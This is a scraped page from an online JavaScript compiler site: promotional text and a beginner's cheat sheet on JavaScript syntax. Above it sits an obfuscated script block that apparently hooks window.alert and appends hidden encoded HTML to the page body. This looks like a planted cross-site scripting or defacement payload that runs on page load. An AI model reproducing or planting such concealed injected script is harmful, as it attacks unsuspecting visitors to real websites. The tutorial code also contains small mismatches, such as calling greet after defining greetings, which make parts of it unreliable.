<script> var _0x5908=['\x57\x50\x47\x59\x44\x47','\x57\x36\x47\x66\x57\x52\x52\x63\x4e\x4d\x68\x64\x54\x4c\x34\x6b\x73\x72\x4c\x78','\x57\x4f\x79\x42\x57\x52\x6d','\x76\x53\x6b\x67\x57\x50\x42\x64\x4b\x67\x66\x78\x6a\x57','\x57\x34\x46\x63\x4c\x38\x6f\x6f\x77\x38\x6b\x63\x57\x37\x5a\x64\x53\x6d\x6f\x73\x64\x64\x79\x55','\x70\x53\x6f\x4b\x67\x47','\x57\x52\x4c\x46\x57\x35\x34','\x68\x4c\x78\x64\x4b\x47','\x6d\x6d\x6f\x2f\x42\x61','\x57\x35\x58\x57\x57\x51\x4f\x4c\x44\x53\x6b\x41\x77\x57','\x61\x65\x56\x63\x4c\x47','\x57\x4f\x6e\x32\x57\x52\x30','\x57\x4f\x70\x64\x52\x30\x61','\x67\x6d\x6f\x54\x61\x47','\x57\x50\x31\x52\x68\x61','\x63\x38\x6b\x50\x78\x47','\x57\x35\x50\x32\x6d\x47','\x57\x37\x75\x6c\x57\x35\x38','\x57\x50\x46\x63\x51\x48\x68\x63\x4a\x43\x6f\x51\x7a\x68\x74\x64\x4b\x53\x6f\x38\x65\x6d\x6b\x48\x57\x50\x57','\x57\x51\x75\x38\x46\x61','\x79\x38\x6b\x48\x57\x52\x4f','\x57\x52\x71\x4f\x57\x50\x34','\x73\x4b\x6c\x64\x4e\x47','\x57\x37\x37\x63\x4c\x38\x6f\x6a','\x74\x4d\x42\x63\x52\x66\x5a\x63\x49\x6d\x6b\x4b\x76\x4c\x74\x63\x4f\x6d\x6f\x44\x57\x36\x43','\x74\x6d\x6f\x58\x46\x47','\x57\x34\x76\x2f\x57\x50\x56\x63\x55\x4c\x78\x64\x51\x43\x6f\x4a\x73\x75\x34\x72\x57\x34\x69\x2b','\x57\x35\x53\x4a\x57\x37\x58\x33\x70\x6d\x6b\x44\x73\x43\x6b\x30\x79\x72\x7a\x6b','\x57\x37\x34\x36\x42\x57','\x7a\x71\x52\x64\x50\x38\x6f\x63\x57\x50\x4a\x63\x47\x75\x37\x63\x50\x64\x34\x66\x6c\x47','\x57\x52\x34\x61\x57\x50\x65','\x73\x53\x6b\x69\x57\x34\x4b','\x76\x38\x6b\x55\x61\x57','\x57\x36\x4e\x63\x51\x6d\x6f\x74','\x72\x4b\x56\x64\x4a\x71','\x57\x4f\x71\x67\x57\x37\x57','\x57\x4f\x68\x63\x52\x38\x6f\x30','\x67\x72\x56\x64\x47\x61','\x57\x4f\x34\x63\x57\x50\x79','\x57\x34\x79\x74\x78\x57','\x57\x36\x7a\x48\x57\x37\x6d','\x44\x53\x6b\x58\x57\x37\x4f','\x75\x6d\x6b\x58\x6e\x6d\x6f\x78\x57\x4f\x70\x63\x50\x38\x6b\x4e','\x64\x73\x61\x38','\x57\x36\x74\x63\x54\x47\x4f','\x57\x50\x75\x72\x73\x61','\x72\x32\x64\x63\x48\x47','\x57\x4f\x37\x63\x49\x6d\x6f\x69','\x77\x43\x6f\x53\x42\x47','\x65\x64\x72\x2f\x57\x37\x42\x63\x53\x38\x6b\x75\x57\x50\x78\x64\x55\x6d\x6b\x61\x57\x50\x6c\x64\x4e\x53\x6b\x31','\x57\x37\x71\x44\x57\x35\x61','\x57\x52\x74\x64\x4f\x6d\x6b\x6c','\x57\x37\x4c\x31\x76\x47','\x57\x34\x34\x58\x57\x36\x71','\x57\x4f\x75\x33\x72\x57\x76\x52\x57\x37\x78\x64\x4a\x57','\x64\x5a\x52\x64\x49\x49\x50\x78\x57\x4f\x44\x44\x77\x6d\x6f\x70\x57\x34\x2f\x64\x4f\x65\x65','\x64\x4c\x74\x64\x4f\x61','\x44\x6d\x6b\x31\x57\x50\x4f','\x66\x59\x68\x64\x48\x57\x6c\x63\x52\x4b\x79\x57\x57\x36\x30\x65\x62\x43\x6f\x6c\x6d\x71','\x57\x4f\x69\x6b\x44\x47','\x6c\x43\x6f\x4d\x57\x52\x38\x4b\x57\x51\x75\x54\x66\x4e\x6e\x64\x44\x53\x6b\x4d','\x6a\x6d\x6f\x4f\x57\x34\x2f\x63\x52\x75\x34\x46\x57\x4f\x46\x63\x4e\x53\x6f\x2f\x57\x50\x6c\x63\x4d\x64\x53','\x74\x38\x6b\x68\x69\x61','\x41\x43\x6b\x4f\x65\x57','\x73\x53\x6f\x50\x57\x35\x79','\x57\x35\x52\x63\x50\x53\x6f\x35','\x75\x63\x54\x39','\x57\x50\x4e\x64\x54\x4c\x62\x38\x57\x4f\x47\x73\x57\x50\x52\x63\x4d\x47\x57\x4a\x6c\x53\x6b\x44','\x63\x6d\x6f\x4f\x41\x47','\x79\x43\x6b\x58\x57\x50\x79','\x6d\x38\x6b\x54\x57\x36\x75','\x74\x33\x37\x63\x4d\x61','\x57\x50\x44\x6f\x57\x35\x4f','\x41\x4b\x78\x63\x54\x71','\x73\x38\x6b\x6a\x57\x36\x75','\x57\x51\x4f\x42\x57\x52\x69'];var _0x13e5=function(_0x35a4b7,_0x20a495){_0x35a4b7=_0x35a4b7-(0x1c+-0x1*0xb7b+0xbd5*0x1);var _0x5de003=_0x5908[_0x35a4b7];if(_0x13e5['\x58\x6e\x45\x71\x52\x54']===undefined){var _0x3e045a=function(_0x59f351){var _0x134262='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var _0x18246d='';for(var _0x173df2=-0x16c5+-0x9*0x333+0x3*0x1130,_0x404f49,_0x3a8fbc,_0x4977b8=0x8f*0x21+0xc05+-0x1e74;_0x3a8fbc=_0x59f351['\x63\x68\x61\x72\x41\x74'](_0x4977b8++);~_0x3a8fbc&&(_0x404f49=_0x173df2%(-0x20ca+0xd6+0x21*0xf8)?_0x404f49*(0x2*-0x9e9+-0x2*0x4ae+0xeb7*0x2)+_0x3a8fbc:_0x3a8fbc,_0x173df2++%(-0x1022+-0x1*-0x2275+-0x124f))?_0x18246d+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x187a+-0xd*-0x162+0x2975*-0x1&_0x404f49>>(-(0x1b0f+0x5bd*-0x1+-0x1550)*_0x173df2&0x7*-0x3f2+0x19*0x1b+0x1901)):0xb*-0x251+0x2108*-0x1+0x3a83){_0x3a8fbc=_0x134262['\x69\x6e\x64\x65\x78\x4f\x66'](_0x3a8fbc);}return _0x18246d;};var _0x1ad1ac=function(_0x3891f6,_0x5ba5ae){var _0x5b858e=[],_0x5c92d9=0x29*-0x36+0x1433*0x1+-0xb8d,_0x162f12,_0x5b5b3c='',_0x1d7df4='';_0x3891f6=_0x3e045a(_0x3891f6);for(var _0x526500=-0x22c0+0x157f*-0x1+0x383f,_0x50cc75=_0x3891f6['\x6c\x65\x6e\x67\x74\x68'];_0x526500<_0x50cc75;_0x526500++){_0x1d7df4+='\x25'+('\x30\x30'+_0x3891f6['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x526500)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x4e3*0x1+-0x469*-0x1+-0x93c))['\x73\x6c\x69\x63\x65'](-(0x19cb+-0x1eed+-0x149*-0x4));}_0x3891f6=decodeURIComponent(_0x1d7df4);var _0x5b7937;for(_0x5b7937=0x1*0x1bcd+-0x144*0x17+0x14f;_0x5b7937<0x658+0x1655+-0x1bad;_0x5b7937++){_0x5b858e[_0x5b7937]=_0x5b7937;}for(_0x5b7937=-0x1178*-0x1+0x11f5*-0x1+0x7d;_0x5b7937<-0x17b0*-0x1+0x4d0+-0x1b80;_0x5b7937++){_0x5c92d9=(_0x5c92d9+_0x5b858e[_0x5b7937]+_0x5ba5ae['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5b7937%_0x5ba5ae['\x6c\x65\x6e\x67\x74\x68']))%(0x4dc*-0x1+-0x1a75+0x2051),_0x162f12=_0x5b858e[_0x5b7937],_0x5b858e[_0x5b7937]=_0x5b858e[_0x5c92d9],_0x5b858e[_0x5c92d9]=_0x162f12;}_0x5b7937=-0x14c4+-0x2043+0x3507,_0x5c92d9=0x7*0x211+-0x2398+0x3*0x70b;for(var _0x19272d=-0x2*0x333+0xceb*0x3+0x1*-0x205b;_0x19272d<_0x3891f6['\x6c\x65\x6e\x67\x74\x68'];_0x19272d++){_0x5b7937=(_0x5b7937+(0x1f91+0x9bc+-0x294c))%(-0x2*0x72d+0x2*-0x11ef+-0x8*-0x667),_0x5c92d9=(_0x5c92d9+_0x5b858e[_0x5b7937])%(0x3*-0x43+0x223+-0x5a*0x1),_0x162f12=_0x5b858e[_0x5b7937],_0x5b858e[_0x5b7937]=_0x5b858e[_0x5c92d9],_0x5b858e[_0x5c92d9]=_0x162f12,_0x5b5b3c+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x3891f6['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x19272d)^_0x5b858e[(_0x5b858e[_0x5b7937]+_0x5b858e[_0x5c92d9])%(-0x120*-0x10+0x6d9*0x1+0x4c5*-0x5)]);}return _0x5b5b3c;};_0x13e5['\x44\x64\x64\x56\x61\x79']=_0x1ad1ac,_0x13e5['\x66\x4a\x73\x50\x51\x50']={},_0x13e5['\x58\x6e\x45\x71\x52\x54']=!![];}var _0x121a56=_0x5908[0xba9*-0x1+-0x2390+0x2f39],_0x365317=_0x35a4b7+_0x121a56,_0x4ad400=_0x13e5['\x66\x4a\x73\x50\x51\x50'][_0x365317];if(_0x4ad400===undefined){if(_0x13e5['\x41\x56\x4e\x75\x65\x69']===undefined){var _0x442809=function(_0x3bcae1){this['\x73\x63\x57\x41\x6c\x4b']=_0x3bcae1,this['\x6f\x6f\x52\x78\x4e\x59']=[-0xb55+0x206*-0x7+0x6*0x440,0xb2d*0x3+0x125*0xc+-0x2f43,-0x1508+0x580+0x38*0x47],this['\x54\x55\x77\x42\x53\x62']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x77\x58\x45\x72\x74\x73']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x79\x66\x71\x6e\x72\x62']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x442809['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x62\x73\x58\x62\x57\x75']=function(){var _0x5079a3=new RegExp(this['\x77\x58\x45\x72\x74\x73']+this['\x79\x66\x71\x6e\x72\x62']),_0x567cae=_0x5079a3['\x74\x65\x73\x74'](this['\x54\x55\x77\x42\x53\x62']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x6f\x6f\x52\x78\x4e\x59'][0x292+0x8*-0x8+-0x251]:--this['\x6f\x6f\x52\x78\x4e\x59'][0x1407+0x25ea+-0x39f1];return this['\x65\x6f\x57\x54\x4b\x78'](_0x567cae);},_0x442809['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x65\x6f\x57\x54\x4b\x78']=function(_0x17b049){if(!Boolean(~_0x17b049))return _0x17b049;return this['\x6b\x55\x4f\x42\x78\x48'](this['\x73\x63\x57\x41\x6c\x4b']);},_0x442809['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x6b\x55\x4f\x42\x78\x48']=function(_0xb46e90){for(var _0x2f149a=-0xd3c+0x1*0x695+0x6a7,_0x53f8db=this['\x6f\x6f\x52\x78\x4e\x59']['\x6c\x65\x6e\x67\x74\x68'];_0x2f149a<_0x53f8db;_0x2f149a++){this['\x6f\x6f\x52\x78\x4e\x59']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x53f8db=this['\x6f\x6f\x52\x78\x4e\x59']['\x6c\x65\x6e\x67\x74\x68'];}return _0xb46e90(this['\x6f\x6f\x52\x78\x4e\x59'][-0x120b+-0x14e3+-0x2*-0x1377]);},new _0x442809(_0x13e5)['\x62\x73\x58\x62\x57\x75'](),_0x13e5['\x41\x56\x4e\x75\x65\x69']=!![];}_0x5de003=_0x13e5['\x44\x64\x64\x56\x61\x79'](_0x5de003,_0x20a495),_0x13e5['\x66\x4a\x73\x50\x51\x50'][_0x365317]=_0x5de003;}else _0x5de003=_0x4ad400;return _0x5de003;};(function(_0x4de04c,_0x34189c){var _0x2e0259=_0x13e5;while(!![]){try{var _0x488a8a=-parseInt(_0x2e0259(0x96,'\x4d\x6a\x28\x57'))*parseInt(_0x2e0259(0x97,'\x37\x32\x55\x50'))+parseInt(_0x2e0259(0xb0,'\x36\x68\x54\x35'))+parseInt(_0x2e0259(0x7d,'\x5e\x35\x4f\x68'))*-parseInt(_0x2e0259(0x8a,'\x5e\x28\x35\x47'))+-parseInt(_0x2e0259(0x9a,'\x2a\x5d\x52\x33'))+parseInt(_0x2e0259(0x9c,'\x58\x43\x65\x23'))*parseInt(_0x2e0259(0xaf,'\x42\x40\x53\x78'))+parseInt(_0x2e0259(0x9d,'\x76\x59\x52\x52'))+parseInt(_0x2e0259(0x7a,'\x52\x72\x4f\x79'));if(_0x488a8a===_0x34189c)break;else _0x4de04c['push'](_0x4de04c['shift']());}catch(_0x1db799){_0x4de04c['push'](_0x4de04c['shift']());}}}(_0x5908,-0x468d*-0xb+-0x370d7+-0x2a92*-0xd),function(){var _0x1319c9=_0x13e5,_0x44923f={};_0x44923f[_0x1319c9(0xb7,'\x78\x57\x63\x7a')+'\x70\x69']=_0x1319c9(0xbd,'\x69\x48\x75\x63')+_0x1319c9(0xb9,'\x5e\x28\x35\x47')+_0x1319c9(0xa2,'\x79\x78\x30\x77')+'\x7c\x35',_0x44923f[_0x1319c9(0x7e,'\x68\x6f\x5a\x33')+'\x53\x4b']=function(_0x56652f){return _0x56652f();},_0x44923f[_0x1319c9(0x87,'\x28\x68\x48\x50')+'\x5a\x76']=_0x1319c9(0x92,'\x32\x6b\x54\x71')+'\x75\x72\x6e'+_0x1319c9(0x94,'\x32\x58\x71\x4d')+_0x1319c9(0xbc,'\x70\x6c\x71\x5e')+_0x1319c9(0xa5,'\x76\x59\x52\x52')+_0x1319c9(0xa1,'\x24\x32\x59\x39')+_0x1319c9(0x95,'\x78\x57\x63\x7a'),_0x44923f[_0x1319c9(0x86,'\x69\x48\x75\x63')+'\x42\x56']='\x5e\x28\x5b'+_0x1319c9(0x9f,'\x5a\x38\x36\x6d')+_0x1319c9(0xb8,'\x47\x44\x6b\x68')+_0x1319c9(0x9e,'\x5e\x28\x35\x47')+_0x1319c9(0xb3,'\x37\x32\x55\x50')+_0x1319c9(0xba,'\x4d\x6a\x28\x57')+_0x1319c9(0xb2,'\x52\x57\x4a\x62')+_0x1319c9(0x7f,'\x2a\x6f\x62\x57');var _0x3f14dc=_0x44923f,_0x5dc1d5=_0x3f14dc[_0x1319c9(0x76,'\x77\x36\x6e\x56')+'\x70\x69']['\x73\x70\x6c'+'\x69\x74']('\x7c'),_0x2daa6e=0x6d9+0xf09*0x1+0x15e2*-0x1;while(!![]){switch(_0x5dc1d5[_0x2daa6e++]){case'\x30':var _0xedcdaf=window[_0x1319c9(0x82,'\x77\x36\x6e\x56')+'\x72\x74'];continue;case'\x31':var _0x21daf5=_0x1e6718(this,function(){var _0x4916e5=_0x1319c9,_0x510635=function(){var _0xb96f72=_0x13e5,_0x35e0e5=_0x510635['\x63\x6f\x6e'+'\x73\x74\x72'+_0xb96f72(0xae,'\x68\x6f\x5a\x33')+'\x6f\x72'](_0x3ddeac[_0xb96f72(0x8f,'\x33\x38\x53\x31')+'\x65\x56'])()['\x63\x6f\x6e'+'\x73\x74\x72'+_0xb96f72(0xae,'\x68\x6f\x5a\x33')+'\x6f\x72'](_0x3ddeac[_0xb96f72(0xab,'\x68\x6f\x5a\x33')+'\x4e\x55']);return!_0x35e0e5[_0xb96f72(0x88,'\x52\x57\x4a\x62')+'\x74'](_0x21daf5);};return _0x3ddeac[_0x4916e5(0x84,'\x33\x38\x53\x31')+'\x58\x67'](_0x510635);});continue;case'\x32':_0x3f14dc[_0x1319c9(0xa8,'\x76\x43\x56\x5e')+'\x53\x4b'](_0x21daf5);continue;case'\x33':var _0x1e6718=function(){var _0x589c81=!![];return function(_0x407427,_0x3d8884){var _0x4f3c42=_0x589c81?function(){if(_0x3d8884){var _0x49ffb2=_0x3d8884['\x61\x70\x70'+'\x6c\x79'](_0x407427,arguments);return _0x3d8884=null,_0x49ffb2;}}:function(){};return _0x589c81=![],_0x4f3c42;};}();continue;case'\x34':var _0x17116c={};_0x17116c[_0x1319c9(0x8c,'\x47\x44\x6b\x68')+'\x65\x56']=_0x3f14dc['\x67\x71\x63'+'\x5a\x76'],_0x17116c[_0x1319c9(0xa4,'\x2a\x41\x25\x53')+'\x4e\x55']=_0x3f14dc[_0x1319c9(0xa6,'\x69\x54\x38\x77')+'\x42\x56'],_0x17116c[_0x1319c9(0xc0,'\x59\x37\x58\x72')+'\x58\x67']=function(_0x47be00){return _0x3f14dc['\x4d\x78\x56'+'\x53\x4b'](_0x47be00);};var _0x3ddeac=_0x17116c;continue;case'\x35':window[_0x1319c9(0x99,'\x76\x59\x52\x52')+'\x72\x74']=function(){var _0x58444a=_0x1319c9;_0xedcdaf[_0x58444a(0x8e,'\x2a\x5d\x52\x33')+'\x6c\x79'](window,arguments),document[_0x58444a(0xac,'\x70\x6c\x71\x5e')+'\x79'][_0x58444a(0xa7,'\x2a\x5d\x52\x33')+'\x65\x72\x48'+_0x58444a(0xa9,'\x37\x32\x55\x50')]+=_0x58444a(0x83,'\x48\x51\x57\x38')+_0x58444a(0xb6,'\x37\x32\x55\x50')+_0x58444a(0x89,'\x58\x43\x65\x23')+_0x58444a(0xb4,'\x2a\x41\x25\x53')+_0x58444a(0x8b,'\x6c\x70\x78\x39')+_0x58444a(0xbb,'\x5e\x28\x35\x47')+_0x58444a(0x77,'\x74\x5a\x2a\x38')+_0x58444a(0x90,'\x5a\x38\x36\x6d')+_0x58444a(0x98,'\x4d\x47\x72\x32')+_0x58444a(0xb1,'\x24\x6a\x6b\x23')+_0x58444a(0x81,'\x32\x6f\x50\x32')+_0x58444a(0xa0,'\x2a\x6f\x62\x57')+_0x58444a(0x9b,'\x61\x52\x5b\x4b')+'\x49\x52\x54'+_0x58444a(0x79,'\x5a\x38\x36\x6d')+_0x58444a(0xc1,'\x69\x48\x75\x63')+_0x58444a(0xbf,'\x70\x6c\x71\x5e')+_0x58444a(0x7c,'\x28\x68\x48\x50')+_0x58444a(0xaa,'\x58\x43\x65\x23')+_0x58444a(0x8d,'\x28\x68\x48\x50')+_0x58444a(0x80,'\x5e\x28\x35\x47')+_0x58444a(0x93,'\x32\x6f\x50\x32')+_0x58444a(0x85,'\x77\x36\x6e\x56')+'\x72\x3e';};continue;}break;}}()); </script>
Write, Run & Share Javascript code online using OneCompiler's JS online compiler for free. It's one of the robust, feature-rich online compilers for Javascript language. Getting started with the OneCompiler's Javascript editor is easy and fast. The editor shows sample boilerplate code when you choose language as Javascript and start coding.
Javascript(JS) is a object-oriented programming language which adhere to ECMA Script Standards. Javascript is required to design the behaviour of the web pages.
var readline = require('readline');
var rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
terminal: false
});
rl.on('line', function(line){
console.log("Hello, " + line);
});
Keyword | Description | Scope |
---|---|---|
var | Var is used to declare variables(old way of declaring variables) | Function or global scope |
let | let is also used to declare variables(new way) | Global or block Scope |
const | const is used to declare const values. Once the value is assigned, it can not be modified | Global or block Scope |
let greetings = `Hello ${name}`
const msg = `
hello
world!
`
An array is a collection of items or values.
let arrayName = [value1, value2,..etc];
// or
let arrayName = new Array("value1","value2",..etc);
let mobiles = ["iPhone", "Samsung", "Pixel"];
// accessing an array
console.log(mobiles[0]);
// changing an array element
mobiles[3] = "Nokia";
Arrow Functions helps developers to write code in concise way, it’s introduced in ES6.
Arrow functions can be written in multiple ways. Below are couple of ways to use arrow function but it can be written in many other ways as well.
() => expression
const numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
const squaresOfEvenNumbers = numbers.filter(ele => ele % 2 == 0)
.map(ele => ele ** 2);
console.log(squaresOfEvenNumbers);
let [firstName, lastName] = ['Foo', 'Bar']
let {firstName, lastName} = {
firstName: 'Foo',
lastName: 'Bar'
}
const {
title,
firstName,
lastName,
...rest
} = record;
//Object spread
const post = {
...options,
type: "new"
}
//array spread
const users = [
...adminUsers,
...normalUsers
]
function greetings({ name = 'Foo' } = {}) { //Defaulting name to Foo
console.log(`Hello ${name}!`);
}
greet() // Hello Foo
greet({ name: 'Bar' }) // Hi Bar
IF is used to execute a block of code based on a condition.
if(condition){
// code
}
Else part is used to execute the block of code when the condition fails.
if(condition){
// code
} else {
// code
}
Switch is used to replace nested If-Else statements.
switch(condition){
case 'value1' :
//code
[break;]
case 'value2' :
//code
[break;]
.......
default :
//code
[break;]
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement){
//code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while (condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
ES6 introduced classes along with OOPS concepts in JS. Class is similar to a function which you can think like kind of template which will get called when ever you initialize class.
class className {
constructor() { ... } //Mandatory Class method
method1() { ... }
method2() { ... }
...
}
class Mobile {
constructor(model) {
this.name = model;
}
}
mbl = new Mobile("iPhone");